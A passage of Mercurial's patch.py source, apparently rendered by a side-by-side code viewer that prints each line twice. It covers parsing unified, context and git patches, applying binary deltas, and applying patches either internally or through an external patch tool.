1947 raise PatchError(_(b"undefined source and destination files"))
1947 raise PatchError(_(b"undefined source and destination files"))
1948
1948
1949 gp = patchmeta(fname)
1949 gp = patchmeta(fname)
1950 if create:
1950 if create:
1951 gp.op = b'ADD'
1951 gp.op = b'ADD'
1952 elif remove:
1952 elif remove:
1953 gp.op = b'DELETE'
1953 gp.op = b'DELETE'
1954 return gp
1954 return gp
1955
1955
1956
1956
1957 def scanpatch(fp):
1957 def scanpatch(fp):
1958 """like patch.iterhunks, but yield different events
1958 """like patch.iterhunks, but yield different events
1959
1959
1960 - ('file', [header_lines + fromfile + tofile])
1960 - ('file', [header_lines + fromfile + tofile])
1961 - ('context', [context_lines])
1961 - ('context', [context_lines])
1962 - ('hunk', [hunk_lines])
1962 - ('hunk', [hunk_lines])
1963 - ('range', (-start,len, +start,len, proc))
1963 - ('range', (-start,len, +start,len, proc))
1964 """
1964 """
1965 lines_re = re.compile(br'@@ -(\d+),(\d+) \+(\d+),(\d+) @@\s*(.*)')
1965 lines_re = re.compile(br'@@ -(\d+),(\d+) \+(\d+),(\d+) @@\s*(.*)')
1966 lr = linereader(fp)
1966 lr = linereader(fp)
1967
1967
1968 def scanwhile(first, p):
1968 def scanwhile(first, p):
1969 """scan lr while predicate holds"""
1969 """scan lr while predicate holds"""
1970 lines = [first]
1970 lines = [first]
1971 for line in iter(lr.readline, b''):
1971 for line in iter(lr.readline, b''):
1972 if p(line):
1972 if p(line):
1973 lines.append(line)
1973 lines.append(line)
1974 else:
1974 else:
1975 lr.push(line)
1975 lr.push(line)
1976 break
1976 break
1977 return lines
1977 return lines
1978
1978
1979 for line in iter(lr.readline, b''):
1979 for line in iter(lr.readline, b''):
1980 if line.startswith(b'diff --git a/') or line.startswith(b'diff -r '):
1980 if line.startswith(b'diff --git a/') or line.startswith(b'diff -r '):
1981
1981
1982 def notheader(line):
1982 def notheader(line):
1983 s = line.split(None, 1)
1983 s = line.split(None, 1)
1984 return not s or s[0] not in (b'---', b'diff')
1984 return not s or s[0] not in (b'---', b'diff')
1985
1985
1986 header = scanwhile(line, notheader)
1986 header = scanwhile(line, notheader)
1987 fromfile = lr.readline()
1987 fromfile = lr.readline()
1988 if fromfile.startswith(b'---'):
1988 if fromfile.startswith(b'---'):
1989 tofile = lr.readline()
1989 tofile = lr.readline()
1990 header += [fromfile, tofile]
1990 header += [fromfile, tofile]
1991 else:
1991 else:
1992 lr.push(fromfile)
1992 lr.push(fromfile)
1993 yield b'file', header
1993 yield b'file', header
1994 elif line.startswith(b' '):
1994 elif line.startswith(b' '):
1995 cs = (b' ', b'\\')
1995 cs = (b' ', b'\\')
1996 yield b'context', scanwhile(line, lambda l: l.startswith(cs))
1996 yield b'context', scanwhile(line, lambda l: l.startswith(cs))
1997 elif line.startswith((b'-', b'+')):
1997 elif line.startswith((b'-', b'+')):
1998 cs = (b'-', b'+', b'\\')
1998 cs = (b'-', b'+', b'\\')
1999 yield b'hunk', scanwhile(line, lambda l: l.startswith(cs))
1999 yield b'hunk', scanwhile(line, lambda l: l.startswith(cs))
2000 else:
2000 else:
2001 m = lines_re.match(line)
2001 m = lines_re.match(line)
2002 if m:
2002 if m:
2003 yield b'range', m.groups()
2003 yield b'range', m.groups()
2004 else:
2004 else:
2005 yield b'other', line
2005 yield b'other', line
2006
2006
2007
2007
2008 def scangitpatch(lr, firstline):
2008 def scangitpatch(lr, firstline):
2009 """
2009 """
2010 Git patches can emit:
2010 Git patches can emit:
2011 - rename a to b
2011 - rename a to b
2012 - change b
2012 - change b
2013 - copy a to c
2013 - copy a to c
2014 - change c
2014 - change c
2015
2015
2016 We cannot apply this sequence as-is, the renamed 'a' could not be
2016 We cannot apply this sequence as-is, the renamed 'a' could not be
2017 found for it would have been renamed already. And we cannot copy
2017 found for it would have been renamed already. And we cannot copy
2018 from 'b' instead because 'b' would have been changed already. So
2018 from 'b' instead because 'b' would have been changed already. So
2019 we scan the git patch for copy and rename commands so we can
2019 we scan the git patch for copy and rename commands so we can
2020 perform the copies ahead of time.
2020 perform the copies ahead of time.
2021 """
2021 """
2022 pos = 0
2022 pos = 0
2023 try:
2023 try:
2024 pos = lr.fp.tell()
2024 pos = lr.fp.tell()
2025 fp = lr.fp
2025 fp = lr.fp
2026 except IOError:
2026 except IOError:
2027 fp = stringio(lr.fp.read())
2027 fp = stringio(lr.fp.read())
2028 gitlr = linereader(fp)
2028 gitlr = linereader(fp)
2029 gitlr.push(firstline)
2029 gitlr.push(firstline)
2030 gitpatches = readgitpatch(gitlr)
2030 gitpatches = readgitpatch(gitlr)
2031 fp.seek(pos)
2031 fp.seek(pos)
2032 return gitpatches
2032 return gitpatches
2033
2033
2034
2034
2035 def iterhunks(fp):
2035 def iterhunks(fp):
2036 """Read a patch and yield the following events:
2036 """Read a patch and yield the following events:
2037 - ("file", afile, bfile, firsthunk): select a new target file.
2037 - ("file", afile, bfile, firsthunk): select a new target file.
2038 - ("hunk", hunk): a new hunk is ready to be applied, follows a
2038 - ("hunk", hunk): a new hunk is ready to be applied, follows a
2039 "file" event.
2039 "file" event.
2040 - ("git", gitchanges): current diff is in git format, gitchanges
2040 - ("git", gitchanges): current diff is in git format, gitchanges
2041 maps filenames to gitpatch records. Unique event.
2041 maps filenames to gitpatch records. Unique event.
2042 """
2042 """
2043 afile = b""
2043 afile = b""
2044 bfile = b""
2044 bfile = b""
2045 state = None
2045 state = None
2046 hunknum = 0
2046 hunknum = 0
2047 emitfile = newfile = False
2047 emitfile = newfile = False
2048 gitpatches = None
2048 gitpatches = None
2049
2049
2050 # our states
2050 # our states
2051 BFILE = 1
2051 BFILE = 1
2052 context = None
2052 context = None
2053 lr = linereader(fp)
2053 lr = linereader(fp)
2054
2054
2055 for x in iter(lr.readline, b''):
2055 for x in iter(lr.readline, b''):
2056 if state == BFILE and (
2056 if state == BFILE and (
2057 (not context and x.startswith(b'@'))
2057 (not context and x.startswith(b'@'))
2058 or (context is not False and x.startswith(b'***************'))
2058 or (context is not False and x.startswith(b'***************'))
2059 or x.startswith(b'GIT binary patch')
2059 or x.startswith(b'GIT binary patch')
2060 ):
2060 ):
2061 gp = None
2061 gp = None
2062 if gitpatches and gitpatches[-1].ispatching(afile, bfile):
2062 if gitpatches and gitpatches[-1].ispatching(afile, bfile):
2063 gp = gitpatches.pop()
2063 gp = gitpatches.pop()
2064 if x.startswith(b'GIT binary patch'):
2064 if x.startswith(b'GIT binary patch'):
2065 h = binhunk(lr, gp.path)
2065 h = binhunk(lr, gp.path)
2066 else:
2066 else:
2067 if context is None and x.startswith(b'***************'):
2067 if context is None and x.startswith(b'***************'):
2068 context = True
2068 context = True
2069 h = hunk(x, hunknum + 1, lr, context)
2069 h = hunk(x, hunknum + 1, lr, context)
2070 hunknum += 1
2070 hunknum += 1
2071 if emitfile:
2071 if emitfile:
2072 emitfile = False
2072 emitfile = False
2073 yield b'file', (afile, bfile, h, gp and gp.copy() or None)
2073 yield b'file', (afile, bfile, h, gp and gp.copy() or None)
2074 yield b'hunk', h
2074 yield b'hunk', h
2075 elif x.startswith(b'diff --git a/'):
2075 elif x.startswith(b'diff --git a/'):
2076 m = gitre.match(x.rstrip(b' \r\n'))
2076 m = gitre.match(x.rstrip(b' \r\n'))
2077 if not m:
2077 if not m:
2078 continue
2078 continue
2079 if gitpatches is None:
2079 if gitpatches is None:
2080 # scan whole input for git metadata
2080 # scan whole input for git metadata
2081 gitpatches = scangitpatch(lr, x)
2081 gitpatches = scangitpatch(lr, x)
2082 yield b'git', [
2082 yield b'git', [
2083 g.copy() for g in gitpatches if g.op in (b'COPY', b'RENAME')
2083 g.copy() for g in gitpatches if g.op in (b'COPY', b'RENAME')
2084 ]
2084 ]
2085 gitpatches.reverse()
2085 gitpatches.reverse()
2086 afile = b'a/' + m.group(1)
2086 afile = b'a/' + m.group(1)
2087 bfile = b'b/' + m.group(2)
2087 bfile = b'b/' + m.group(2)
2088 while gitpatches and not gitpatches[-1].ispatching(afile, bfile):
2088 while gitpatches and not gitpatches[-1].ispatching(afile, bfile):
2089 gp = gitpatches.pop()
2089 gp = gitpatches.pop()
2090 yield b'file', (
2090 yield b'file', (
2091 b'a/' + gp.path,
2091 b'a/' + gp.path,
2092 b'b/' + gp.path,
2092 b'b/' + gp.path,
2093 None,
2093 None,
2094 gp.copy(),
2094 gp.copy(),
2095 )
2095 )
2096 if not gitpatches:
2096 if not gitpatches:
2097 raise PatchError(
2097 raise PatchError(
2098 _(b'failed to synchronize metadata for "%s"') % afile[2:]
2098 _(b'failed to synchronize metadata for "%s"') % afile[2:]
2099 )
2099 )
2100 newfile = True
2100 newfile = True
2101 elif x.startswith(b'---'):
2101 elif x.startswith(b'---'):
2102 # check for a unified diff
2102 # check for a unified diff
2103 l2 = lr.readline()
2103 l2 = lr.readline()
2104 if not l2.startswith(b'+++'):
2104 if not l2.startswith(b'+++'):
2105 lr.push(l2)
2105 lr.push(l2)
2106 continue
2106 continue
2107 newfile = True
2107 newfile = True
2108 context = False
2108 context = False
2109 afile = parsefilename(x)
2109 afile = parsefilename(x)
2110 bfile = parsefilename(l2)
2110 bfile = parsefilename(l2)
2111 elif x.startswith(b'***'):
2111 elif x.startswith(b'***'):
2112 # check for a context diff
2112 # check for a context diff
2113 l2 = lr.readline()
2113 l2 = lr.readline()
2114 if not l2.startswith(b'---'):
2114 if not l2.startswith(b'---'):
2115 lr.push(l2)
2115 lr.push(l2)
2116 continue
2116 continue
2117 l3 = lr.readline()
2117 l3 = lr.readline()
2118 lr.push(l3)
2118 lr.push(l3)
2119 if not l3.startswith(b"***************"):
2119 if not l3.startswith(b"***************"):
2120 lr.push(l2)
2120 lr.push(l2)
2121 continue
2121 continue
2122 newfile = True
2122 newfile = True
2123 context = True
2123 context = True
2124 afile = parsefilename(x)
2124 afile = parsefilename(x)
2125 bfile = parsefilename(l2)
2125 bfile = parsefilename(l2)
2126
2126
2127 if newfile:
2127 if newfile:
2128 newfile = False
2128 newfile = False
2129 emitfile = True
2129 emitfile = True
2130 state = BFILE
2130 state = BFILE
2131 hunknum = 0
2131 hunknum = 0
2132
2132
2133 while gitpatches:
2133 while gitpatches:
2134 gp = gitpatches.pop()
2134 gp = gitpatches.pop()
2135 yield b'file', (b'a/' + gp.path, b'b/' + gp.path, None, gp.copy())
2135 yield b'file', (b'a/' + gp.path, b'b/' + gp.path, None, gp.copy())
2136
2136
2137
2137
2138 def applybindelta(binchunk, data):
2138 def applybindelta(binchunk, data):
2139 """Apply a binary delta hunk
2139 """Apply a binary delta hunk
2140 The algorithm used is the algorithm from git's patch-delta.c
2140 The algorithm used is the algorithm from git's patch-delta.c
2141 """
2141 """
2142
2142
2143 def deltahead(binchunk):
2143 def deltahead(binchunk):
2144 i = 0
2144 i = 0
2145 for c in pycompat.bytestr(binchunk):
2145 for c in pycompat.bytestr(binchunk):
2146 i += 1
2146 i += 1
2147 if not (ord(c) & 0x80):
2147 if not (ord(c) & 0x80):
2148 return i
2148 return i
2149 return i
2149 return i
2150
2150
2151 out = b""
2151 out = b""
2152 s = deltahead(binchunk)
2152 s = deltahead(binchunk)
2153 binchunk = binchunk[s:]
2153 binchunk = binchunk[s:]
2154 s = deltahead(binchunk)
2154 s = deltahead(binchunk)
2155 binchunk = binchunk[s:]
2155 binchunk = binchunk[s:]
2156 i = 0
2156 i = 0
2157 while i < len(binchunk):
2157 while i < len(binchunk):
2158 cmd = ord(binchunk[i : i + 1])
2158 cmd = ord(binchunk[i : i + 1])
2159 i += 1
2159 i += 1
2160 if cmd & 0x80:
2160 if cmd & 0x80:
2161 offset = 0
2161 offset = 0
2162 size = 0
2162 size = 0
2163 if cmd & 0x01:
2163 if cmd & 0x01:
2164 offset = ord(binchunk[i : i + 1])
2164 offset = ord(binchunk[i : i + 1])
2165 i += 1
2165 i += 1
2166 if cmd & 0x02:
2166 if cmd & 0x02:
2167 offset |= ord(binchunk[i : i + 1]) << 8
2167 offset |= ord(binchunk[i : i + 1]) << 8
2168 i += 1
2168 i += 1
2169 if cmd & 0x04:
2169 if cmd & 0x04:
2170 offset |= ord(binchunk[i : i + 1]) << 16
2170 offset |= ord(binchunk[i : i + 1]) << 16
2171 i += 1
2171 i += 1
2172 if cmd & 0x08:
2172 if cmd & 0x08:
2173 offset |= ord(binchunk[i : i + 1]) << 24
2173 offset |= ord(binchunk[i : i + 1]) << 24
2174 i += 1
2174 i += 1
2175 if cmd & 0x10:
2175 if cmd & 0x10:
2176 size = ord(binchunk[i : i + 1])
2176 size = ord(binchunk[i : i + 1])
2177 i += 1
2177 i += 1
2178 if cmd & 0x20:
2178 if cmd & 0x20:
2179 size |= ord(binchunk[i : i + 1]) << 8
2179 size |= ord(binchunk[i : i + 1]) << 8
2180 i += 1
2180 i += 1
2181 if cmd & 0x40:
2181 if cmd & 0x40:
2182 size |= ord(binchunk[i : i + 1]) << 16
2182 size |= ord(binchunk[i : i + 1]) << 16
2183 i += 1
2183 i += 1
2184 if size == 0:
2184 if size == 0:
2185 size = 0x10000
2185 size = 0x10000
2186 offset_end = offset + size
2186 offset_end = offset + size
2187 out += data[offset:offset_end]
2187 out += data[offset:offset_end]
2188 elif cmd != 0:
2188 elif cmd != 0:
2189 offset_end = i + cmd
2189 offset_end = i + cmd
2190 out += binchunk[i:offset_end]
2190 out += binchunk[i:offset_end]
2191 i += cmd
2191 i += cmd
2192 else:
2192 else:
2193 raise PatchError(_(b'unexpected delta opcode 0'))
2193 raise PatchError(_(b'unexpected delta opcode 0'))
2194 return out
2194 return out
2195
2195
2196
2196
2197 def applydiff(ui, fp, backend, store, strip=1, prefix=b'', eolmode=b'strict'):
2197 def applydiff(ui, fp, backend, store, strip=1, prefix=b'', eolmode=b'strict'):
2198 """Reads a patch from fp and tries to apply it.
2198 """Reads a patch from fp and tries to apply it.
2199
2199
2200 Returns 0 for a clean patch, -1 if any rejects were found and 1 if
2200 Returns 0 for a clean patch, -1 if any rejects were found and 1 if
2201 there was any fuzz.
2201 there was any fuzz.
2202
2202
2203 If 'eolmode' is 'strict', the patch content and patched file are
2203 If 'eolmode' is 'strict', the patch content and patched file are
2204 read in binary mode. Otherwise, line endings are ignored when
2204 read in binary mode. Otherwise, line endings are ignored when
2205 patching then normalized according to 'eolmode'.
2205 patching then normalized according to 'eolmode'.
2206 """
2206 """
2207 return _applydiff(
2207 return _applydiff(
2208 ui,
2208 ui,
2209 fp,
2209 fp,
2210 patchfile,
2210 patchfile,
2211 backend,
2211 backend,
2212 store,
2212 store,
2213 strip=strip,
2213 strip=strip,
2214 prefix=prefix,
2214 prefix=prefix,
2215 eolmode=eolmode,
2215 eolmode=eolmode,
2216 )
2216 )
2217
2217
2218
2218
2219 def _canonprefix(repo, prefix):
2219 def _canonprefix(repo, prefix):
2220 if prefix:
2220 if prefix:
2221 prefix = pathutil.canonpath(repo.root, repo.getcwd(), prefix)
2221 prefix = pathutil.canonpath(repo.root, repo.getcwd(), prefix)
2222 if prefix != b'':
2222 if prefix != b'':
2223 prefix += b'/'
2223 prefix += b'/'
2224 return prefix
2224 return prefix
2225
2225
2226
2226
2227 def _applydiff(
2227 def _applydiff(
2228 ui, fp, patcher, backend, store, strip=1, prefix=b'', eolmode=b'strict'
2228 ui, fp, patcher, backend, store, strip=1, prefix=b'', eolmode=b'strict'
2229 ):
2229 ):
2230 prefix = _canonprefix(backend.repo, prefix)
2230 prefix = _canonprefix(backend.repo, prefix)
2231
2231
2232 def pstrip(p):
2232 def pstrip(p):
2233 return pathtransform(p, strip - 1, prefix)[1]
2233 return pathtransform(p, strip - 1, prefix)[1]
2234
2234
2235 rejects = 0
2235 rejects = 0
2236 err = 0
2236 err = 0
2237 current_file = None
2237 current_file = None
2238
2238
2239 for state, values in iterhunks(fp):
2239 for state, values in iterhunks(fp):
2240 if state == b'hunk':
2240 if state == b'hunk':
2241 if not current_file:
2241 if not current_file:
2242 continue
2242 continue
2243 ret = current_file.apply(values)
2243 ret = current_file.apply(values)
2244 if ret > 0:
2244 if ret > 0:
2245 err = 1
2245 err = 1
2246 elif state == b'file':
2246 elif state == b'file':
2247 if current_file:
2247 if current_file:
2248 rejects += current_file.close()
2248 rejects += current_file.close()
2249 current_file = None
2249 current_file = None
2250 afile, bfile, first_hunk, gp = values
2250 afile, bfile, first_hunk, gp = values
2251 if gp:
2251 if gp:
2252 gp.path = pstrip(gp.path)
2252 gp.path = pstrip(gp.path)
2253 if gp.oldpath:
2253 if gp.oldpath:
2254 gp.oldpath = pstrip(gp.oldpath)
2254 gp.oldpath = pstrip(gp.oldpath)
2255 else:
2255 else:
2256 gp = makepatchmeta(
2256 gp = makepatchmeta(
2257 backend, afile, bfile, first_hunk, strip, prefix
2257 backend, afile, bfile, first_hunk, strip, prefix
2258 )
2258 )
2259 if gp.op == b'RENAME':
2259 if gp.op == b'RENAME':
2260 backend.unlink(gp.oldpath)
2260 backend.unlink(gp.oldpath)
2261 if not first_hunk:
2261 if not first_hunk:
2262 if gp.op == b'DELETE':
2262 if gp.op == b'DELETE':
2263 backend.unlink(gp.path)
2263 backend.unlink(gp.path)
2264 continue
2264 continue
2265 data, mode = None, None
2265 data, mode = None, None
2266 if gp.op in (b'RENAME', b'COPY'):
2266 if gp.op in (b'RENAME', b'COPY'):
2267 data, mode = store.getfile(gp.oldpath)[:2]
2267 data, mode = store.getfile(gp.oldpath)[:2]
2268 if data is None:
2268 if data is None:
2269 # This means that the old path does not exist
2269 # This means that the old path does not exist
2270 raise PatchError(
2270 raise PatchError(
2271 _(b"source file '%s' does not exist") % gp.oldpath
2271 _(b"source file '%s' does not exist") % gp.oldpath
2272 )
2272 )
2273 if gp.mode:
2273 if gp.mode:
2274 mode = gp.mode
2274 mode = gp.mode
2275 if gp.op == b'ADD':
2275 if gp.op == b'ADD':
2276 # Added files without content have no hunk and
2276 # Added files without content have no hunk and
2277 # must be created
2277 # must be created
2278 data = b''
2278 data = b''
2279 if data or mode:
2279 if data or mode:
2280 if gp.op in (b'ADD', b'RENAME', b'COPY') and backend.exists(
2280 if gp.op in (b'ADD', b'RENAME', b'COPY') and backend.exists(
2281 gp.path
2281 gp.path
2282 ):
2282 ):
2283 raise PatchError(
2283 raise PatchError(
2284 _(
2284 _(
2285 b"cannot create %s: destination "
2285 b"cannot create %s: destination "
2286 b"already exists"
2286 b"already exists"
2287 )
2287 )
2288 % gp.path
2288 % gp.path
2289 )
2289 )
2290 backend.setfile(gp.path, data, mode, gp.oldpath)
2290 backend.setfile(gp.path, data, mode, gp.oldpath)
2291 continue
2291 continue
2292 try:
2292 try:
2293 current_file = patcher(ui, gp, backend, store, eolmode=eolmode)
2293 current_file = patcher(ui, gp, backend, store, eolmode=eolmode)
2294 except PatchError as inst:
2294 except PatchError as inst:
2295 ui.warn(stringutil.forcebytestr(inst) + b'\n')
2295 ui.warn(stringutil.forcebytestr(inst) + b'\n')
2296 current_file = None
2296 current_file = None
2297 rejects += 1
2297 rejects += 1
2298 continue
2298 continue
2299 elif state == b'git':
2299 elif state == b'git':
2300 for gp in values:
2300 for gp in values:
2301 path = pstrip(gp.oldpath)
2301 path = pstrip(gp.oldpath)
2302 data, mode = backend.getfile(path)
2302 data, mode = backend.getfile(path)
2303 if data is None:
2303 if data is None:
2304 # The error ignored here will trigger a getfile()
2304 # The error ignored here will trigger a getfile()
2305 # error in a place more appropriate for error
2305 # error in a place more appropriate for error
2306 # handling, and will not interrupt the patching
2306 # handling, and will not interrupt the patching
2307 # process.
2307 # process.
2308 pass
2308 pass
2309 else:
2309 else:
2310 store.setfile(path, data, mode)
2310 store.setfile(path, data, mode)
2311 else:
2311 else:
2312 raise error.Abort(_(b'unsupported parser state: %s') % state)
2312 raise error.Abort(_(b'unsupported parser state: %s') % state)
2313
2313
2314 if current_file:
2314 if current_file:
2315 rejects += current_file.close()
2315 rejects += current_file.close()
2316
2316
2317 if rejects:
2317 if rejects:
2318 return -1
2318 return -1
2319 return err
2319 return err
2320
2320
2321
2321
2322 def _externalpatch(ui, repo, patcher, patchname, strip, files, similarity):
2322 def _externalpatch(ui, repo, patcher, patchname, strip, files, similarity):
2323 """use <patcher> to apply <patchname> to the working directory.
2323 """use <patcher> to apply <patchname> to the working directory.
2324 returns whether patch was applied with fuzz factor."""
2324 returns whether patch was applied with fuzz factor."""
2325
2325
2326 fuzz = False
2326 fuzz = False
2327 args = []
2327 args = []
2328 cwd = repo.root
2328 cwd = repo.root
2329 if cwd:
2329 if cwd:
2330 args.append(b'-d %s' % procutil.shellquote(cwd))
2330 args.append(b'-d %s' % procutil.shellquote(cwd))
2331 cmd = b'%s %s -p%d < %s' % (
2331 cmd = b'%s %s -p%d < %s' % (
2332 patcher,
2332 patcher,
2333 b' '.join(args),
2333 b' '.join(args),
2334 strip,
2334 strip,
2335 procutil.shellquote(patchname),
2335 procutil.shellquote(patchname),
2336 )
2336 )
2337 ui.debug(b'Using external patch tool: %s\n' % cmd)
2337 ui.debug(b'Using external patch tool: %s\n' % cmd)
2338 fp = procutil.popen(cmd, b'rb')
2338 fp = procutil.popen(cmd, b'rb')
2339 try:
2339 try:
2340 for line in util.iterfile(fp):
2340 for line in util.iterfile(fp):
2341 line = line.rstrip()
2341 line = line.rstrip()
2342 ui.note(line + b'\n')
2342 ui.note(line + b'\n')
2343 if line.startswith(b'patching file '):
2343 if line.startswith(b'patching file '):
2344 pf = util.parsepatchoutput(line)
2344 pf = util.parsepatchoutput(line)
2345 printed_file = False
2345 printed_file = False
2346 files.add(pf)
2346 files.add(pf)
2347 elif line.find(b'with fuzz') >= 0:
2347 elif line.find(b'with fuzz') >= 0:
2348 fuzz = True
2348 fuzz = True
2349 if not printed_file:
2349 if not printed_file:
2350 ui.warn(pf + b'\n')
2350 ui.warn(pf + b'\n')
2351 printed_file = True
2351 printed_file = True
2352 ui.warn(line + b'\n')
2352 ui.warn(line + b'\n')
2353 elif line.find(b'saving rejects to file') >= 0:
2353 elif line.find(b'saving rejects to file') >= 0:
2354 ui.warn(line + b'\n')
2354 ui.warn(line + b'\n')
2355 elif line.find(b'FAILED') >= 0:
2355 elif line.find(b'FAILED') >= 0:
2356 if not printed_file:
2356 if not printed_file:
2357 ui.warn(pf + b'\n')
2357 ui.warn(pf + b'\n')
2358 printed_file = True
2358 printed_file = True
2359 ui.warn(line + b'\n')
2359 ui.warn(line + b'\n')
2360 finally:
2360 finally:
2361 if files:
2361 if files:
2362 scmutil.marktouched(repo, files, similarity)
2362 scmutil.marktouched(repo, files, similarity)
2363 code = fp.close()
2363 code = fp.close()
2364 if code:
2364 if code:
2365 raise PatchError(
2365 raise PatchError(
2366 _(b"patch command failed: %s") % procutil.explainexit(code)
2366 _(b"patch command failed: %s") % procutil.explainexit(code)
2367 )
2367 )
2368 return fuzz
2368 return fuzz
2369
2369
2370
2370
2371 def patchbackend(
2371 def patchbackend(
2372 ui, backend, patchobj, strip, prefix, files=None, eolmode=b'strict'
2372 ui, backend, patchobj, strip, prefix, files=None, eolmode=b'strict'
2373 ):
2373 ):
2374 if files is None:
2374 if files is None:
2375 files = set()
2375 files = set()
2376 if eolmode is None:
2376 if eolmode is None:
2377 eolmode = ui.config(b'patch', b'eol')
2377 eolmode = ui.config(b'patch', b'eol')
2378 if eolmode.lower() not in eolmodes:
2378 if eolmode.lower() not in eolmodes:
2379 raise error.Abort(_(b'unsupported line endings type: %s') % eolmode)
2379 raise error.Abort(_(b'unsupported line endings type: %s') % eolmode)
2380 eolmode = eolmode.lower()
2380 eolmode = eolmode.lower()
2381
2381
2382 store = filestore()
2382 store = filestore()
2383 try:
2383 try:
2384 fp = open(patchobj, b'rb')
2384 fp = open(patchobj, b'rb')
2385 except TypeError:
2385 except TypeError:
2386 fp = patchobj
2386 fp = patchobj
2387 try:
2387 try:
2388 ret = applydiff(
2388 ret = applydiff(
2389 ui, fp, backend, store, strip=strip, prefix=prefix, eolmode=eolmode
2389 ui, fp, backend, store, strip=strip, prefix=prefix, eolmode=eolmode
2390 )
2390 )
2391 finally:
2391 finally:
2392 if fp != patchobj:
2392 if fp != patchobj:
2393 fp.close()
2393 fp.close()
2394 files.update(backend.close())
2394 files.update(backend.close())
2395 store.close()
2395 store.close()
2396 if ret < 0:
2396 if ret < 0:
2397 raise PatchError(_(b'patch failed to apply'))
2397 raise PatchError(_(b'patch failed to apply'))
2398 return ret > 0
2398 return ret > 0
2399
2399
2400
2400
2401 def internalpatch(
2401 def internalpatch(
2402 ui,
2402 ui,
2403 repo,
2403 repo,
2404 patchobj,
2404 patchobj,
2405 strip,
2405 strip,
2406 prefix=b'',
2406 prefix=b'',
2407 files=None,
2407 files=None,
2408 eolmode=b'strict',
2408 eolmode=b'strict',
2409 similarity=0,
2409 similarity=0,
2410 ):
2410 ):
2411 """use builtin patch to apply <patchobj> to the working directory.
2411 """use builtin patch to apply <patchobj> to the working directory.
2412 returns whether patch was applied with fuzz factor."""
2412 returns whether patch was applied with fuzz factor."""
2413 backend = workingbackend(ui, repo, similarity)
2413 backend = workingbackend(ui, repo, similarity)
2414 return patchbackend(ui, backend, patchobj, strip, prefix, files, eolmode)
2414 return patchbackend(ui, backend, patchobj, strip, prefix, files, eolmode)
2415
2415
2416
2416
2417 def patchrepo(
2417 def patchrepo(
2418 ui, repo, ctx, store, patchobj, strip, prefix, files=None, eolmode=b'strict'
2418 ui, repo, ctx, store, patchobj, strip, prefix, files=None, eolmode=b'strict'
2419 ):
2419 ):
2420 backend = repobackend(ui, repo, ctx, store)
2420 backend = repobackend(ui, repo, ctx, store)
2421 return patchbackend(ui, backend, patchobj, strip, prefix, files, eolmode)
2421 return patchbackend(ui, backend, patchobj, strip, prefix, files, eolmode)
2422
2422
2423
2423
2424 def patch(
2424 def patch(
2425 ui,
2425 ui,
2426 repo,
2426 repo,
2427 patchname,
2427 patchname,
2428 strip=1,
2428 strip=1,
2429 prefix=b'',
2429 prefix=b'',
2430 files=None,
2430 files=None,
2431 eolmode=b'strict',
2431 eolmode=b'strict',
2432 similarity=0,
2432 similarity=0,
2433 ):
2433 ):
2434 """Apply <patchname> to the working directory.
2434 """Apply <patchname> to the working directory.
2435
2435
2436 'eolmode' specifies how end of lines should be handled. It can be:
2436 'eolmode' specifies how end of lines should be handled. It can be:
2437 - 'strict': inputs are read in binary mode, EOLs are preserved
2437 - 'strict': inputs are read in binary mode, EOLs are preserved
2438 - 'crlf': EOLs are ignored when patching and reset to CRLF
2438 - 'crlf': EOLs are ignored when patching and reset to CRLF
2439 - 'lf': EOLs are ignored when patching and reset to LF
2439 - 'lf': EOLs are ignored when patching and reset to LF
2440 - None: get it from user settings, default to 'strict'
2440 - None: get it from user settings, default to 'strict'
2441 'eolmode' is ignored when using an external patcher program.
2441 'eolmode' is ignored when using an external patcher program.
2442
2442
2443 Returns whether patch was applied with fuzz factor.
2443 Returns whether patch was applied with fuzz factor.
2444 """
2444 """
2445 patcher = ui.config(b'ui', b'patch')
2445 patcher = ui.config(b'ui', b'patch')
2446 if files is None:
2446 if files is None:
2447 files = set()
2447 files = set()
2448 if patcher:
2448 if patcher:
2449 return _externalpatch(
2449 return _externalpatch(
2450 ui, repo, patcher, patchname, strip, files, similarity
2450 ui, repo, patcher, patchname, strip, files, similarity
2451 )
2451 )
2452 return internalpatch(
2452 return internalpatch(
2453 ui, repo, patchname, strip, prefix, files, eolmode, similarity
2453 ui, repo, patchname, strip, prefix, files, eolmode, similarity
2454 )
2454 )
2455
2455
2456
2456
2457 def changedfiles(ui, repo, patchpath, strip=1, prefix=b''):
2457 def changedfiles(ui, repo, patchpath, strip=1, prefix=b''):
2458 backend = fsbackend(ui, repo.root)
2458 backend = fsbackend(ui, repo.root)
2459 prefix = _canonprefix(repo, prefix)
2459 prefix = _canonprefix(repo, prefix)
2460 with open(patchpath, b'rb') as fp:
2460 with open(patchpath, b'rb') as fp:
2461 changed = set()
2461 changed = set()
2462 for state, values in iterhunks(fp):
2462 for state, values in iterhunks(fp):
2463 if state == b'file':
2463 if state == b'file':
2464 afile, bfile, first_hunk, gp = values
2464 afile, bfile, first_hunk, gp = values
2465 if gp:
2465 if gp:
2466 gp.path = pathtransform(gp.path, strip - 1, prefix)[1]
2466 gp.path = pathtransform(gp.path, strip - 1, prefix)[1]
2467 if gp.oldpath:
2467 if gp.oldpath:
2468 gp.oldpath = pathtransform(
2468 gp.oldpath = pathtransform(
2469 gp.oldpath, strip - 1, prefix
2469 gp.oldpath, strip - 1, prefix
2470 )[1]
2470 )[1]
2471 else:
2471 else:
2472 gp = makepatchmeta(
2472 gp = makepatchmeta(
2473 backend, afile, bfile, first_hunk, strip, prefix
2473 backend, afile, bfile, first_hunk, strip, prefix
2474 )
2474 )
2475 changed.add(gp.path)
2475 changed.add(gp.path)
2476 if gp.op == b'RENAME':
2476 if gp.op == b'RENAME':
2477 changed.add(gp.oldpath)
2477 changed.add(gp.oldpath)
2478 elif state not in (b'hunk', b'git'):
2478 elif state not in (b'hunk', b'git'):
2479 raise error.Abort(_(b'unsupported parser state: %s') % state)
2479 raise error.Abort(_(b'unsupported parser state: %s') % state)
2480 return changed
2480 return changed
2481
2481
2482
2482
2483 class GitDiffRequired(Exception):
2483 class GitDiffRequired(Exception):
2484 pass
2484 pass
2485
2485
2486
2486
2487 diffopts = diffutil.diffallopts
2487 diffopts = diffutil.diffallopts
2488 diffallopts = diffutil.diffallopts
2488 diffallopts = diffutil.diffallopts
2489 difffeatureopts = diffutil.difffeatureopts
2489 difffeatureopts = diffutil.difffeatureopts
2490
2490
2491
2491
2492 def diff(
2492 def diff(
2493 repo,
2493 repo,
2494 node1=None,
2494 node1=None,
2495 node2=None,
2495 node2=None,
2496 match=None,
2496 match=None,
2497 changes=None,
2497 changes=None,
2498 opts=None,
2498 opts=None,
2499 losedatafn=None,
